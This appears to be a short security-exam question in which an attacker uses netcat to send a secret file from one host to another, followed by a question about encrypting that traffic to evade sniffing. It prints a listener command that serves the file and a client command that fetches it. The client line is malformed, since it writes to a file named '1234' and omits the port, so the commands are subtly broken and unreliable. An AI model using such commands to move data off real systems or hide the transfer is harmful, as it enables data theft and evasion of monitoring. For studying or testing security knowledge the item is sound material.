How would the attacker use netcat to encrypt the information before transmitting onto the wire?
An attacker runs netcat tool to transfer a secret file between two hosts.
Machine A: netcat -l -p 1234 < secretfile
Machine B: netcat 192.168.3.4 > 1234
He is worried about information being sniffed on the network. How would the attacker use netcat to encrypt the information before transmitting onto the wire?